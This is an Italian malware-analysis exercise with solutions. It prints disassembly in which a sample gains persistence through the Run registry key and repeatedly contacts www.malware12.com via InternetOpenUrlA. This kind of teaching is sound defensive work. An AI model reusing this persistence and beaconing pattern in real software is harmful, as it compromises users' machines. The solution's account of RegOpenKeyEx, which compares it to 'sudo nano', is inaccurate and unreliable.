S11L1

Consegna:

Con riferimento agli estratti di un malware reale riportati di sotto, rispondere alle seguenti domande:

1- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

2- Identificare il client software utilizzato dal malware per la connessione ad Internet

3- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
0040286F   push    2               ; samDesired
00402871   push    eax             ; ulOptions
00402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx             ; lpString
00402887   mov     bl, 1
00402889   call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893   push    edx             ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898   lea     eax, [esp+428h+Data]
0040289C   push    eax             ; lpData
0040289D   push    1               ; dwType
0040289F   push    0               ; Reserved
004028A1   lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx             ; lpValueName
004028A9   push    edx             ; hKey
004028AA   call    ds:RegSetValueExW
```

```
.text:00401150 ; ┌─────────────── S U B R O U T I N E ──────────────────────────────────────
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
```

Risoluzione:

1-Generalmente i Malware cercano di ottenere la **persistenza** (termine utilizzato per indicare la messa in esecuzione del malware nel momento di accensione del dispositivo infetto) per poter essere eseguiti in maniera occulta, e lo possono fare chiamando queste due funzioni:

-**RegOpenKeyEx**: questa funzione permette di aprire una chiave di registro al fine di modificarla. In più, in maniera simile al comando sudo nano di kali, qualora il file inserito sia presente nel file system del dispositivo, verrà creato un nuovo file con lo stesso nome.

-**RegSetValueEx**: questa funzione permette invece di aggiungere un nuovo valore all'interno del registro.

Per quanto riguarda questo esempio nello specifico si può notare che nelle prime righe di codice è presente la chiamata della funzione "RegOpenKeyEx" si può dedurre quindi che questa funzione verrà utilizzata dal malware.

```
)040286F   push    2                   ; samDesired
)0402871   push    eax                 ; ulOptions
)0402872   push    offset SubKey       ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
```

Si può anche notare come venga inserito un valore all'interno delle chiavi di registro tramite il path **"Software\\Microsoft\\Windows\\CurrentVersion\\Run"**, che include tutti i programmi che sono avviati all'avvio del sistema operativo.

```
)04028A8   push    ecx                 ; lpValueName
)04028A9   push    edx                 ; hKey
)04028AA   call    ds:RegSetValueExW
```

Si può inoltre notare che nelle ultime righe del codice è presente uno stack dedicato all'inserimento delle variabili della funzione "RegSetValueEx", e questa è la conferma del fatto che entrambe le funzioni vengono utilizzate per poter ottenere la persistenza.

2- Per identificare il client software utilizzato dal malware, bisogna controllarne la subroutine dove si può notare che nella prima metà è presente l'inserimento di **"Internet Explorer 8.0"** per poter eseguire una connessione ad Internet.

3- L'URL al quale il malware vuole connettersi è **"www.malware12.com"** ed è un parametro della funzione **"InternetOpenUrlA"**.